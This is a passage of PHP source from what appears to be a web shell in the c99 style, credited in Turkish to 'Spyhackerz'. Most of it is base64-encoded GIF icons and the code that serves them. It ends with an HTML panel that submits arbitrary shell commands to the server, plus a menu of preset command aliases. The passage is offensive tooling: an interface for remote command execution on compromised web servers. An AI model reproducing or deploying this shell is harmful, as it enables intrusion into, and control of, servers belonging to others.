"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
"yAsokBkQADs=",
"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
"sort_asc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
"sort_desc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
"sql_button_drop"=>
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
"AQEAOw==",
"sql_button_empty"=>
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
"sql_button_insert"=>
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
"up"=>
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
"write"=>
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
"ext_asp"=>
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
"ext_mp3"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
"ext_avi"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
"ext_cgi"=>
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
"RYtMAgEAOw==",
"ext_cmd"=>
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
"dmrYAMn1onq/YKpjvEgAADs=",
"ext_cpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
"Eq7YrLDE7a4SADs=",
"ext_ini"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
"SnEjgPVarHEHgrB43JvszsQEADs=",
"ext_diz"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
"Ow==",
"ext_doc"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
"ext_exe"=>
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
"xhIAOw==",
"ext_h"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
"Wq/NknbbSgAAOw==",
"ext_hpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
"UqUagnbLdZa+YFcCADs=",
"ext_htaccess"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
"AAA7",
"ext_html"=>
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
"ADs=",
"ext_jpg"=>
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
"FxEAOw==",
"ext_js"=>
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
"a00AjYYBbc/o9HjNniUAADs=",
"ext_lnk"=>
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
"ADs=",
"ext_log"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
"ext_php"=>
"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
"ext_pl"=>
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
"ext_swf"=>
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
"ext_tar"=>
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
"u4tLAgEAOw==",
"ext_txt"=>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
"IQA7"
 );
 //For simple size- and speed-optimization.
 $imgequals = array(
  "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  "ext_html"=>array("ext_html","ext_htm"),
  "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  "ext_lnk"=>array("ext_lnk","ext_url"),
  "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  "ext_doc"=>array("ext_doc","ext_dot"),
  "ext_js"=>array("ext_js","ext_vbs"),
  "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  "ext_wri"=>array("ext_wri","ext_rtf"),
  "ext_swf"=>array("ext_swf","ext_fla"),
  "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
 );
 if (!$getall)
 {
  header("Content-type: image/gif");
  header("Cache-control: public");
  header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  header("Cache-control: max-age=".(60*60*24*7));
  header("Last-Modified: ".date("r",filemtime(__FILE__)));
  foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  if (empty($images[$img])) {$img = "small_unk";}
  if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  echo base64_decode($images[$img]);
 }
 else
 {
  foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  natsort($images);
  $k = array_keys($images);
  echo  "<center>";
  foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  echo "</center>";
 }
 exit;
}
if ($act == "about") {echo  "<center><b>Hakkinda:<br>Bu Script Spyhackerz Tarafindan Yazilmistir.</font></font></a></b>";}
?>
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Uygulamalar</b></a> ::</b></p></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Tamam"></form></td><td width="50%" height="1" valign="top"><center><b>Secenekler </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Tamam"></form></td></tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr>
